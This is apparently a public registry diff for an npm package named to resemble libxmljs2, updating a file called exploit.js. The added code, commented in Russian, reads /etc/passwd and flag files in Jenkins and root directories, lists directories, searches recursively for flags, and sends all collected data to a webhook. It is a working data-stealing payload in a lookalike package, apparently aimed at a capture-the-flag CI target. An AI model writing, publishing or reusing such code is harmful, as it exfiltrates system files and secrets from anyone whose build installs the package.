libxmljs2superbank 0.30.2 → 0.30.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/exploit.js +51 -25
- package/package.json +1 -1
package/exploit.js
CHANGED
|
@@ -30,33 +30,59 @@ function sendToWebhook(data) {
|
|
|
30
30
|
|
|
31
31
|
let collectedData = '';
|
|
32
32
|
|
|
33
|
-
//
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
//
|
|
41
|
-
|
|
42
|
-
|
|
33
|
+
// 1. Ищем флаг в рабочей директории Jenkins
|
|
34
|
+
const searchPaths = [
|
|
35
|
+
'/etc/passwd',
|
|
36
|
+
'/flag', // Dockerfile
|
|
37
|
+
'/workspace/flag', // Jenkins workspace
|
|
38
|
+
'/var/jenkins_home/jobs/staging/workspace/flag',
|
|
39
|
+
'/usr/src/app/flag', // App directory
|
|
40
|
+
'./flag', // Current directory
|
|
41
|
+
'/tmp/flag',
|
|
42
|
+
'/root/flag'
|
|
43
|
+
];
|
|
44
|
+
|
|
45
|
+
searchPaths.forEach(path => {
|
|
46
|
+
try {
|
|
47
|
+
const content = fs.readFileSync(path, 'utf8');
|
|
48
|
+
console.log(`=== FOUND: ${path} ===`);
|
|
49
|
+
console.log(content);
|
|
50
|
+
collectedData += `=== ${path} ===\n${content}\n\n`;
|
|
51
|
+
|
|
52
|
+
if (content.includes('{') && content.includes('}')) {
|
|
53
|
+
console.log(`🚨 FLAG FOUND IN ${path}:`, content);
|
|
54
|
+
}
|
|
55
|
+
} catch(e) {
|
|
56
|
+
collectedData += `Not found: ${path}\n`;
|
|
43
57
|
}
|
|
44
|
-
}
|
|
45
|
-
collectedData += 'Error reading /etc/passwd: ' + e.message + '\n';
|
|
46
|
-
}
|
|
58
|
+
});
|
|
47
59
|
|
|
48
|
-
//
|
|
49
|
-
exec('
|
|
50
|
-
if (!err
|
|
51
|
-
|
|
52
|
-
console.log(stdout);
|
|
53
|
-
collectedData += '=== FLAG FILES ===\n' + stdout + '\n';
|
|
60
|
+
// 2. Список файлов в текущей и корневой директориях
|
|
61
|
+
exec('pwd && ls -la && ls -la /', (err, stdout) => {
|
|
62
|
+
if (!err) {
|
|
63
|
+
collectedData += `=== DIRECTORIES ===\n${stdout}\n\n`;
|
|
54
64
|
}
|
|
55
65
|
|
|
56
|
-
//
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
66
|
+
// 3. Ищем файл flag рекурсивно
|
|
67
|
+
exec('find /workspace /var/jenkins_home /app /usr/src/app -name "flag" -type f 2>/dev/null', (err, stdout) => {
|
|
68
|
+
if (!err && stdout) {
|
|
69
|
+
collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n\n`;
|
|
70
|
+
|
|
71
|
+
// Читаем найденные файлы
|
|
72
|
+
const files = stdout.trim().split('\n');
|
|
73
|
+
files.forEach(file => {
|
|
74
|
+
try {
|
|
75
|
+
const content = fs.readFileSync(file, 'utf8');
|
|
76
|
+
collectedData += `=== CONTENT OF ${file} ===\n${content}\n\n`;
|
|
77
|
+
console.log(`Content of ${file}:`, content);
|
|
78
|
+
} catch(e) {}
|
|
79
|
+
});
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
// Отправляем все данные
|
|
83
|
+
sendToWebhook(collectedData);
|
|
84
|
+
|
|
85
|
+
console.log('=== ALL COLLECTED DATA ===');
|
|
86
|
+
console.log(collectedData);
|
|
87
|
+
});
|
|
62
88
|
});
|